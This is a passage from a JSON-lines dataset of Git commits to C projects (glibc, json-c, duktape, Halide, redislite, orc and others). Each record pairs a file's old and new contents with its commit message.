180)\n","lang":"C","license":"mit","repos":"kavi87\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BrianAdams\/openrov-cockpit,OpenROV\/openrov-cockpit,kavi87\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,spiderkeys\/openrov-cockpit,BrianAdams\/openrov-cockpit,spiderkeys\/openrov-cockpit,BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,spiderkeys\/openrov-cockpit,johan--\/openrov-cockpit,kavi87\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,OpenROV\/openrov-cockpit,johan--\/openrov-cockpit,BrianAdams\/openrov-cockpit,BrianAdams\/openrov-cockpit,OpenROV\/openrov-cockpit,spiderkeys\/openrov-cockpit,kavi87\/openrov-cockpit,kavi87\/openrov-cockpit,spiderkeys\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,johan--\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,johan--\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,johan--\/openrov-cockpit"}
{"commit":"28b425c367f9efa9ed03c339788c936f4f5dc399","old_file":"glibc\/sysdeps\/riscv\/bits\/string.h","new_file":"glibc\/sysdeps\/riscv\/bits\/string.h","old_contents":"\/* This file should provide inline versions of string functions.\n\n   Surround GCC-specific parts with #ifdef __GNUC__, and use `__extern_inline'.\n\n   This file should define __STRING_INLINES if functions are actually defined\n   as inlines.  *\/\n\n#ifndef _BITS_STRING_H\n#define _BITS_STRING_H\t1\n\n#define _STRING_ARCH_unaligned   0\n\n#if defined(__GNUC__) && !defined(__cplusplus)\n\nstatic inline unsigned long __libc_detect_null(unsigned long w)\n{\n  unsigned long mask = 0x7f7f7f7f;\n  if (sizeof(long) == 8)\n    mask = ((mask << 16) << 16) | mask;\n  return ~(((w & mask) + mask) | w | mask);\n}\n\n#endif \/* __GNUC__ && !__cplusplus *\/\n\n#endif \/* bits\/string.h *\/\n","new_contents":"\/* This file should provide inline versions of string functions.\n\n   Surround GCC-specific parts with #ifdef __GNUC__, and use `__extern_inline'.\n\n   This file should define __STRING_INLINES if functions are actually defined\n   as inlines.  *\/\n\n#ifndef _BITS_STRING_H\n#define _BITS_STRING_H\t1\n\n#define _STRING_ARCH_unaligned   0\n\n#if defined(__GNUC__) && !defined(__cplusplus)\n\nstatic __inline__ unsigned long __libc_detect_null(unsigned long w)\n{\n  unsigned long mask = 0x7f7f7f7f;\n  if (sizeof(long) == 8)\n    mask = ((mask << 16) << 16) | mask;\n  return ~(((w & mask) + mask) | w | mask);\n}\n\n#endif \/* __GNUC__ && !__cplusplus *\/\n\n#endif \/* bits\/string.h *\/\n","subject":"Change a \"inline\" to \"__inline__\"","message":"Change a \"inline\" to \"__inline__\"\n\nSo \"inline\" isn't complient C, which means strict packages won't build\nwith it.  This uses \"__inline__\" instead, which is ANSI C.  This patch\nis required to get freetype to build.\n","lang":"C","license":"lgpl-2.1","repos":"manuelafm\/riscv-gnu-toolchain,manuelafm\/riscv-gnu-toolchain,manuelafm\/riscv-gnu-toolchain"}
{"commit":"48fa59bd9ce9c49e23b3ea45e87278f9883f77fb","old_file":"syscall.c","new_file":"syscall.c","old_contents":"#include <runtime.h>\n#include <cgocall.h>\nvoid runtime·asmstdcall(void *c);\n\nvoid ·cSyscall(WinCall *c) {\n\truntime·cgocall(runtime·asmstdcall, c);\n}\n","new_contents":"#include <runtime.h>\n#include <cgocall.h>\nvoid runtime·asmstdcall(void *c);\n\nvoid ·cSyscall(LibCall *c) {\n\truntime·cgocall(runtime·asmstdcall, c);\n}\n","subject":"Update for renamed struct in runtime.h (WinCall to LibCall)","message":"Update for renamed struct in runtime.h (WinCall to LibCall)\n","lang":"C","license":"bsd-2-clause","repos":"gnpkrish\/com-and-go,gnpkrish\/com-and-go,tianlin\/com-and-go,vijaygiri10\/com-and-go,vijaygiri10\/com-and-go"}
{"commit":"72310c87a519b3530e54b96cd1ceb84e0d385a9c","old_file":"math_compat.h","new_file":"math_compat.h","old_contents":"#ifndef __math_compat_h\n#define __math_compat_h\n\n\/* Define isnan and isinf on Windows\/MSVC *\/\n\n#ifndef HAVE_DECL_ISNAN\n# ifdef HAVE_DECL__ISNAN\n#include <float.h>\n#define isnan(x) _isnan(x)\n# endif\n#endif\n\n#ifndef HAVE_DECL_ISINF\n# ifdef HAVE_DECL__FINITE\n#include <float.h>\n#define isinf(x) (!_finite(x))\n# endif\n#endif\n\n#ifndef HAVE_DECL_NAN\n#error This platform does not have nan()\n#endif\n\n#ifndef HAVE_DECL_INFINITY\n#error This platform does not have INFINITY\n#endif\n\n#endif\n","new_contents":"#ifndef __math_compat_h\n#define __math_compat_h\n\n\/* Define isnan, isinf, infinity and nan on Windows\/MSVC *\/\n\n#ifndef HAVE_DECL_ISNAN\n# ifdef HAVE_DECL__ISNAN\n#include <float.h>\n#define isnan(x) _isnan(x)\n# endif\n#endif\n\n#ifndef HAVE_DECL_ISINF\n# ifdef HAVE_DECL__FINITE\n#include <float.h>\n#define isinf(x) (!_finite(x))\n# endif\n#endif\n\n#ifndef HAVE_DECL_INFINITY\n#include <float.h>\n#define INFINITY (DBL_MAX + DBL_MAX)\n#define HAVE_DECL_INFINITY\n#endif\n\n#ifndef HAVE_DECL_NAN\n#define NAN (INFINITY - INFINITY)\n#define HAVE_DECL_NAN\n#endif\n\n#endif\n","subject":"Define INFINITY and NAN when missing","message":"Define INFINITY and NAN when missing\n","lang":"C","license":"mit","repos":"chenha0\/json-c,Nzbuu\/json-c,alagoutte\/json-c,chenha0\/json-c,PureSwift\/json-c,chenha0\/json-c,rgerhards\/json-c,Nzbuu\/json-c,Amineahd\/json-c,cubieb\/json-c,cubieb\/json-c,Nzbuu\/json-c,rgerhards\/json-c,haoranzeus\/json-c,PureSwift\/json-c,colemancda\/json-c,alagoutte\/json-c,colemancda\/json-c,colemancda\/json-c,cubieb\/json-c,PureSwift\/json-c,rgerhards\/json-c,haoranzeus\/json-c,Nzbuu\/json-c,PureSwift\/json-c,alagoutte\/json-c,haoranzeus\/json-c,Amineahd\/json-c,Amineahd\/json-c"}
{"commit":"bc7d187cc0e6c65a7dcb2bff013141a4e7d776bb","old_file":"Airship\/Common\/UAAction.h","new_file":"Airship\/Common\/UAAction.h","old_contents":"\/*\n Copyright 2009-2013 Urban Airship Inc. All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n 2. Redistributions in binaryform must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided withthe distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE URBAN AIRSHIP INC``AS IS'' AND ANY EXPRESS OR\n IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n EVENT SHALL URBAN AIRSHIP INC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n@interface UAAction : NSObject\n\n@end\n","new_contents":"\/*\n Copyright 2009-2013 Urban Airship Inc. All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n 2. Redistributions in binaryform must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided withthe distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE URBAN AIRSHIP INC``AS IS'' AND ANY EXPRESS OR\n IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n EVENT SHALL URBAN AIRSHIP INC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Foundation\/Foundation.h>\n#import \"UAActionArguments.h\"\n\ntypedef BOOL (^UAActionPredicate)(UAActionArguments *);\n\n@interface UAAction : NSObject\n\n@end\n","subject":"Add action predicate block typedef","message":"Add action predicate block typedef\n","lang":"C","license":"bsd-2-clause","repos":"zhangqinghe\/ios-library,ipmobiletech\/ios-library,manuyavuz\/ios-library,mikerowan\/ios-library,grosch\/ios-library,manuyavuz\/ios-library,zhangqinghe\/ios-library,zhangqinghe\/ios-library,ipmobiletech\/ios-library,mikerowan\/ios-library,mikerowan\/ios-library,ipmobiletech\/ios-library,manuyavuz\/ios-library,grosch\/ios-library,grosch\/ios-library"}
{"commit":"db53ac61f87f29d48ca94bce476510e619d7c0f5","old_file":"MayaTypeID.h","new_file":"MayaTypeID.h","old_contents":"","new_contents":"#ifndef MAYATYPEID_H\n#define MAYATYPEID_H\n\n\/\/ Inside Maya, the type IDs are used to identify nodes and dependency graph\n\/\/ data. So when we create custom nodes and data in any Maya plugins, they must\n\/\/ all be assigned unique IDs. For any plugins that will be used outside of\n\/\/ Side Effects, we *must* assign globally unique IDs. However, for plugins\n\/\/ that are only used internally inside Side Effects, we could assign the\n\/\/ \"internal IDs\" (0x0 - 0x7ffff).\n\n\/\/ Some important notes from the Maya SDK docs:\n\n\/\/     - In Maya, both intrinsic and user-defined Maya Objects are registered\n\/\/     and recognized by their type identifier or type id.\n\n\/\/     - It is very important to note that these ids are written into the Maya\n\/\/     binary file format. So, once an id is assigned to a node or data type it\n\/\/     can never be changed while any existing Maya file contains an instance\n\/\/     of that node or data type. If a change is made, such files will become\n\/\/     unreadable.\n\n\/\/     - For plug-ins that will forever be internal to your site use the\n\/\/     constructor that takes a single unsigned int parameter.  The numeric\n\/\/     range 0 - 0x7ffff (524288 ids) has been reserved for such plug-ins.\n\n\/\/ For more information on these IDs, please refer to the documentation for\n\/\/ MTypeId in the Maya SDK.\n\n\/\/ Globally unique IDs assigned to Side Effects:\n\/\/     - 0x0011E240 - 0x0011E2BF : 128 IDs requested by Andrew Wong on 2013-07-17 13:55\n\n\/\/ More IDs can be requested through the Autodesk Developer Network.\n\n\/\/ Globally unique IDs being used by Side Effects\nenum MayaTypeID\n{\n};\n\n#endif\n","subject":"Add header file for tracking our Maya type IDs","message":"Add header file for tracking our Maya type IDs\n","lang":"C","license":"mit","repos":"pokyfudywise\/HoudiniEngineForMaya,sonictk\/HoudiniEngineForMaya,sideeffects\/HoudiniEngineForMaya,sideeffects\/HoudiniEngineForMaya,sonictk\/HoudiniEngineForMaya,pokyfudywise\/HoudiniEngineForMaya,sonictk\/HoudiniEngineForMaya,pokyfudywise\/HoudiniEngineForMaya,sideeffects\/HoudiniEngineForMaya"}
{"commit":"f00ed4ca920b0150979a83ad513766481ba2f845","old_file":"api-testcases\/test-dev-prototype-loop.c","new_file":"api-testcases\/test-dev-prototype-loop.c","old_contents":"","new_contents":"\/*\n *  Prototype loop is tricky to handle internally and must not cause e.g.\n *  GC failures.  Exercise a few common paths.\n *\/\n\n\/*===\n*** test_1 (duk_safe_call)\nfirst gc\nmake unreachable\nsecond gc\n==> rc=0, result='undefined'\n===*\/\n\nstatic duk_ret_t test_1(duk_context *ctx) {\n\tduk_push_object(ctx);\n\tduk_push_object(ctx);\n\tduk_dup(ctx, 0);\n\tduk_set_prototype(ctx, 1);\n\tduk_dup(ctx, 1);\n\tduk_set_prototype(ctx, 0);\n\n\t\/* Both objects are now in a prototype loop.  Force garbage\n\t * collection to ensure nothing breaks.\n\t *\/\n\n\tprintf(\"first gc\\n\"); fflush(stdout);\n\tduk_gc(ctx, 0);\n\n\t\/* Make the objects unreachable and re-run GC.  This triggers\n\t * e.g. finalizer checks.\n\t *\/\n\n\tprintf(\"make unreachable\\n\"); fflush(stdout);\n\tduk_set_top(ctx, 0);\n\n\tprintf(\"second gc\\n\"); fflush(stdout);\n\tduk_gc(ctx, 0);\n\n\treturn 0;\n}\n\nvoid test(duk_context *ctx) {\n\tTEST_SAFE_CALL(test_1);\n}\n","subject":"Add an API testcase for prototype loop and GC","message":"Add an API testcase for prototype loop and GC\n","lang":"C","license":"mit","repos":"thurday\/duktape,skomski\/duktape,reqshark\/duktape,svaarala\/duktape,zeropool\/duktape,eddieh\/duktape,jmptrader\/duktape,rwaldron\/duktape,reqshark\/duktape,rwaldron\/duktape,chenyaqiuqiu\/duktape,jmptrader\/duktape,chenyaqiuqiu\/duktape,rwaldron\/duktape,haosu1987\/duktape,svaarala\/duktape,svaarala\/duktape,eddieh\/duktape,pombredanne\/duktape,nivertech\/duktape,haosu1987\/duktape,eddieh\/duktape,skomski\/duktape,thurday\/duktape,kphillisjr\/duktape,tassmjau\/duktape,tassmjau\/duktape,svaarala\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,pombredanne\/duktape,harold-b\/duktape,thurday\/duktape,haosu1987\/duktape,daimajia\/duktape,tassmjau\/duktape,jmptrader\/duktape,pombredanne\/duktape,nivertech\/duktape,sloth4413\/duktape,jmptrader\/duktape,haosu1987\/duktape,chenyaqiuqiu\/duktape,thurday\/duktape,markand\/duktape,haosu1987\/duktape,zeropool\/duktape,jmptrader\/duktape,harold-b\/duktape,kphillisjr\/duktape,svaarala\/duktape,reqshark\/duktape,harold-b\/duktape,skomski\/duktape,sloth4413\/duktape,harold-b\/duktape,zeropool\/duktape,markand\/duktape,kphillisjr\/duktape,eddieh\/duktape,skomski\/duktape,harold-b\/duktape,reqshark\/duktape,sloth4413\/duktape,reqshark\/duktape,jmptrader\/duktape,eddieh\/duktape,zeropool\/duktape,nivertech\/duktape,haosu1987\/duktape,pombredanne\/duktape,chenyaqiuqiu\/duktape,reqshark\/duktape,nivertech\/duktape,rwaldron\/duktape,jmptrader\/duktape,pombredanne\/duktape,daimajia\/duktape,harold-b\/duktape,thurday\/duktape,kphillisjr\/duktape,tassmjau\/duktape,rwaldron\/duktape,tassmjau\/duktape,sloth4413\/duktape,harold-b\/duktape,markand\/duktape,daimajia\/duktape,pombredanne\/duktape,zeropool\/duktape,tassmjau\/duktape,skomski\/duktape,tassmjau\/duktape,thurday\/duktape,zeropool\/duktape,kphillisjr\/duktape,zeropool\/duktape,daimajia\/duktape,svaarala\/duktape,chenyaqiuqiu\/duktape,skomski\/duktape,chenyaqiuqiu\/duktape,svaarala\/duktape,markand\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,markand\/duktape,zeropool\/duktape,sloth4413\/duktape,zeropool\/duktape,thurday\/duktape,eddieh\/duktape,tassmjau\/duktape,kphillisjr\/duktape,markand\/duktape,eddieh\/duktape,sloth4413\/duktape,nivertech\/duktape,jmptrader\/duktape,eddieh\/duktape,tassmjau\/duktape,svaarala\/duktape,nivertech\/duktape,thurday\/duktape,zeropool\/duktape,haosu1987\/duktape,reqshark\/duktape,haosu1987\/duktape,markand\/duktape,pombredanne\/duktape,pombredanne\/duktape,nivertech\/duktape,haosu1987\/duktape,rwaldron\/duktape,haosu1987\/duktape,sloth4413\/duktape,harold-b\/duktape,daimajia\/duktape,kphillisjr\/duktape,thurday\/duktape,nivertech\/duktape,sloth4413\/duktape,nivertech\/duktape,nivertech\/duktape,kphillisjr\/duktape,reqshark\/duktape,eddieh\/duktape,tassmjau\/duktape,skomski\/duktape,skomski\/duktape,skomski\/duktape,thurday\/duktape,sloth4413\/duktape,sloth4413\/duktape,eddieh\/duktape,harold-b\/duktape,markand\/duktape,reqshark\/duktape,pombredanne\/duktape,jmptrader\/duktape,daimajia\/duktape,kphillisjr\/duktape,skomski\/duktape,reqshark\/duktape,chenyaqiuqiu\/duktape,kphillisjr\/duktape,pombredanne\/duktape,svaarala\/duktape,jmptrader\/duktape,chenyaqiuqiu\/duktape"}
{"commit":"65788a4fd0699c3ed06bdd314ad1a8d5de5a6a3c","old_file":"tutorial\/clock.h","new_file":"tutorial\/clock.h","old_contents":"\/\/ A current_time function for use in the tests.  Returns time in\n\/\/ milliseconds.\n\n#ifdef _WIN32\nextern \"C\" bool QueryPerformanceCounter(uint64_t *);\nextern \"C\" bool QueryPerformanceFrequency(uint64_t *);\ndouble current_time() {\n    uint64_t t, freq;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t * 1000.0) \/ freq;\n}\n#else\n#include <sys\/time.h>\ndouble current_time() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","new_contents":"\/\/ A current_time function for use in the tests.  Returns time in\n\/\/ milliseconds.\n\n#ifdef _WIN32\n#include <Windows.h>\ndouble current_time() {\n    LARGE_INTEGER freq, t;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t.QuadPart * 1000.0) \/ freq.QuadPart;\n}\n\/\/ Gross, these come from Windows.h\n#undef max\n#undef min\n#else\n#include <sys\/time.h>\ndouble current_time() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","subject":"Fix build of tutorials that require libpng under Visual Studio.","message":"Fix build of tutorials that require libpng under Visual Studio.\n","lang":"C","license":"mit","repos":"adasworks\/Halide,ronen\/Halide,smxlong\/Halide,rodrigob\/Halide,adasworks\/Halide,mcanthony\/Halide,myrtleTree33\/Halide,lglucin\/Halide,myrtleTree33\/Halide,dougkwan\/Halide,damienfir\/Halide,fengzhyuan\/Halide,dan-tull\/Halide,ronen\/Halide,lglucin\/Halide,adasworks\/Halide,aam\/Halide,adasworks\/Halide,ayanazmat\/Halide,myrtleTree33\/Halide,dan-tull\/Halide,dougkwan\/Halide,delcypher\/Halide,kenkuang1213\/Halide,dougkwan\/Halide,rodrigob\/Halide,ronen\/Halide,fengzhyuan\/Halide,kenkuang1213\/Halide,fengzhyuan\/Halide,mcanthony\/Halide,lglucin\/Halide,delcypher\/Halide,aam\/Halide,fengzhyuan\/Halide,dan-tull\/Halide,mcanthony\/Halide,adasworks\/Halide,rodrigob\/Halide,kgnk\/Halide,rodrigob\/Halide,dan-tull\/Halide,tdenniston\/Halide,delcypher\/Halide,psuriana\/Halide,ronen\/Halide,dougkwan\/Halide,dan-tull\/Halide,tdenniston\/Halide,psuriana\/Halide,kgnk\/Halide,kenkuang1213\/Halide,jiawen\/Halide,rodrigob\/Halide,tdenniston\/Halide,ayanazmat\/Halide,aam\/Halide,mcanthony\/Halide,smxlong\/Halide,mcanthony\/Halide,ayanazmat\/Halide,delcypher\/Halide,tdenniston\/Halide,lglucin\/Halide,dougkwan\/Halide,delcypher\/Halide,lglucin\/Halide,lglucin\/Halide,damienfir\/Halide,psuriana\/Halide,smxlong\/Halide,lglucin\/Halide,dan-tull\/Halide,kgnk\/Halide,mcanthony\/Halide,jiawen\/Halide,kenkuang1213\/Halide,jiawen\/Halide,smxlong\/Halide,kenkuang1213\/Halide,fengzhyuan\/Halide,delcypher\/Halide,adasworks\/Halide,smxlong\/Halide,damienfir\/Halide,psuriana\/Halide,psuriana\/Halide,jiawen\/Halide,fengzhyuan\/Halide,mcanthony\/Halide,jiawen\/Halide,ayanazmat\/Halide,ayanazmat\/Halide,myrtleTree33\/Halide,tdenniston\/Halide,aam\/Halide,aam\/Halide,ayanazmat\/Halide,jiawen\/Halide,dan-tull\/Halide,ronen\/Halide,jiawen\/Halide,ronen\/Halide,adasworks\/Halide,psuriana\/Halide,dougkwan\/Halide,dougkwan\/Halide,smxlong\/Halide,myrtleTree33\/Halide,mcanthony\/Halide,rodrigob\/Halide,tdenniston\/Halide,ronen\/Halide,tdenniston\/Halide,kgnk\/Halide,adasworks\/Halide,damienfir\/Halide,dougkwan\/Halide,fengzhyuan\/Halide,tdenniston\/Halide,damienfir\/Halide,aam\/Halide,damienfir\/Halide,delcypher\/Halide,myrtleTree33\/Halide,psuriana\/Halide,damienfir\/Halide,kenkuang1213\/Halide,delcypher\/Halide,ayanazmat\/Halide,ronen\/Halide,dan-tull\/Halide,ayanazmat\/Halide,myrtleTree33\/Halide,kgnk\/Halide,kenkuang1213\/Halide,smxlong\/Halide,kenkuang1213\/Halide,rodrigob\/Halide,myrtleTree33\/Halide,kgnk\/Halide,fengzhyuan\/Halide,kgnk\/Halide,aam\/Halide,kgnk\/Halide,rodrigob\/Halide,damienfir\/Halide,smxlong\/Halide"}
{"commit":"f0c28aef43470a27ef2bd5956e6591889f91e45a","old_file":"textdocument\/lib\/grantlee_textdocument.h","new_file":"textdocument\/lib\/grantlee_textdocument.h","old_contents":"","new_contents":"\/*\n  This file is part of Grantlee.\n\n  Copyright (c) 2011 Stephen Kelly <steveire@gmail.com>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either version\n  2.1 of the Licence, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#ifndef GRANTLEE_TEXTDOCUMENT_H\n#define GRANTLEE_TEXTDOCUMENT_H\n\n#include \"grantlee\/abstractmarkupbuilder.h\"\n#include \"grantlee\/bbcodebuilder.h\"\n#include \"grantlee\/markupdirector.h\"\n#include \"grantlee\/plaintextmarkupbuilder.h\"\n#include \"grantlee\/texthtmlbuilder.h\"\n#include \"grantlee\/mediawikimarkupbuilder.h\"\n#include \"grantlee\/grantlee_gui_export.h\"\n\n#endif\n","subject":"Add a convenience header for the textdocument library.","message":"Add a convenience header for the textdocument library.\n","lang":"C","license":"lgpl-2.1","repos":"simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee"}
{"commit":"1ba9652ba371664b386a06fe055bf6d5263c1494","old_file":"libraries\/FreeIMU\/calibrationAPM.h","new_file":"libraries\/FreeIMU\/calibrationAPM.h","old_contents":"","new_contents":"\n\/**\n * FreeIMU calibration header. Automatically generated by FreeIMU_GUI.\n * Do not edit manually unless you know what you are doing.\n*\/\n\n\n#define CALIBRATION_H\n\nconst int acc_off_x = 426;\nconst int acc_off_y = -141;\nconst int acc_off_z = -540;\nconst float acc_scale_x = 16255.420145;\nconst float acc_scale_y = 16389.952315;\nconst float acc_scale_z = 16598.537030;\n\nconst int magn_off_x = 222;\nconst int magn_off_y = -190;\nconst int magn_off_z = -67;\nconst float magn_scale_x = 488.787511;\nconst float magn_scale_y = 513.264462;\nconst float magn_scale_z = 434.896123;\n","subject":"Backup of APM 2.5.2 calibration file","message":"Backup of APM 2.5.2 calibration file\n","lang":"C","license":"mit","repos":"tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates"}
{"commit":"88238b76084bb7d7e5f2c54a0b4fc56b446af1c4","old_file":"src\/page_freelist.c","new_file":"src\/page_freelist.c","old_contents":"#include \"redislite.h\"\n#include \"page_string.h\"\n#include \"util.h\"\n#include <string.h>\n#include <stdlib.h>\n#include <math.h>\n\n\nvoid redislite_free_freelist(void *_db, void *_page)\n{\n\tredislite_page_string* page = (redislite_page_string*)_page;\n\tif (page == NULL) return;\n\tredislite_free(page);\n}\n\nvoid redislite_write_freelist(void *_db, unsigned char *data, void *_page)\n{\n\tredislite *db = (redislite*)_db;\n\tredislite_page_string* page = (redislite_page_string*)_page;\n\tif (page == NULL) return;\n\n\tdata[0] = REDISLITE_PAGE_TYPE_FREELIST;\n\tredislite_put_4bytes(&data[1], 0); \/\/ reserverd\n\tredislite_put_4bytes(&data[5], page->right_page);\n\tint size = db->page_size-9;\n\tmemset(&data[9], 0, size);\n}\n\nvoid *redislite_read_freelist(void *_db, unsigned char *data)\n{\n\tredislite_page_string* page = redislite_malloc(sizeof(redislite_page_string));\n\n\tpage->right_page = redislite_get_4bytes(&data[5]);\n\n\treturn page;\n}\n","new_contents":"#include \"redislite.h\"\n#include \"page_string.h\"\n#include \"util.h\"\n#include <string.h>\n#include <stdlib.h>\n#include <math.h>\n\n\nvoid redislite_free_freelist(void *_db, void *_page)\n{\n\tredislite_page_string* page = (redislite_page_string*)_page;\n\tif (page == NULL) return;\n\tredislite_free(page);\n}\n\nvoid redislite_write_freelist(void *_db, unsigned char *data, void *_page)\n{\n\tredislite *db = (redislite*)_db;\n\tredislite_page_string* page = (redislite_page_string*)_page;\n\tif (page == NULL) return;\n\n\tredislite_put_4bytes(&data[0], 0); \/\/ reserverd\n\tredislite_put_4bytes(&data[4], page->right_page);\n\tint size = db->page_size-8;\n\tmemset(&data[8], 0, size);\n}\n\nvoid *redislite_read_freelist(void *_db, unsigned char *data)\n{\n\tredislite_page_string* page = redislite_malloc(sizeof(redislite_page_string));\n\tpage->right_page = redislite_get_4bytes(&data[8]);\n\treturn page;\n}\n","subject":"Remove unused byte in freelist","message":"Remove unused byte in freelist\n","lang":"C","license":"bsd-2-clause","repos":"pombredanne\/redislite,seppo0010\/redislite,pombredanne\/redislite,seppo0010\/redislite"}
{"commit":"ae2abc0bda94fd1e626223d3ee25e5dc21e94c00","old_file":"orc\/orconce.c","new_file":"orc\/orconce.c","old_contents":"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include <orc\/orconce.h>\n#include <orc\/orcdebug.h>\n\n#if defined(HAVE_THREAD_PTHREAD)\n\n#include <pthread.h>\n\nstatic pthread_mutex_t once_mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid\n_orc_once_init (void)\n{\n  \n}\n\nvoid\norc_once_mutex_lock (void)\n{\n  pthread_mutex_lock (&once_mutex);\n}\n\nvoid\norc_once_mutex_unlock (void)\n{\n  pthread_mutex_unlock (&once_mutex);\n}\n\n#elif defined(HAVE_THREAD_WIN32)\n\n#include <windows.h>\n\nstatic CRITICAL_SECTION once_mutex;\n\nvoid\n_orc_once_init (void)\n{\n  InitializeCriticalSection (&once_mutex);\n}\n\nvoid\norc_once_mutex_lock (void)\n{\n  EnterCriticalSection (&once_mutex);\n}\n\nvoid\norc_once_mutex_unlock (void)\n{\n  LeaveCriticalSection (&once_mutex);\n}\n\n#else\n\nvoid\n_orc_once_init (void)\n{\n}\n\nvoid\norc_once_mutex_lock (void)\n{\n}\n\nvoid\norc_once_mutex_unlock (void)\n{\n}\n\n#endif\n\n\n","new_contents":"\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include <orc\/orconce.h>\n#include <orc\/orcdebug.h>\n\n#if defined(HAVE_THREAD_PTHREAD)\n\n#include <pthread.h>\n\nstatic pthread_mutex_t once_mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid\n_orc_once_init (void)\n{\n  \n}\n\nvoid\norc_once_mutex_lock (void)\n{\n  pthread_mutex_lock (&once_mutex);\n}\n\nvoid\norc_once_mutex_unlock (void)\n{\n  pthread_mutex_unlock (&once_mutex);\n}\n\n#elif defined(HAVE_THREAD_WIN32)\n\n#include 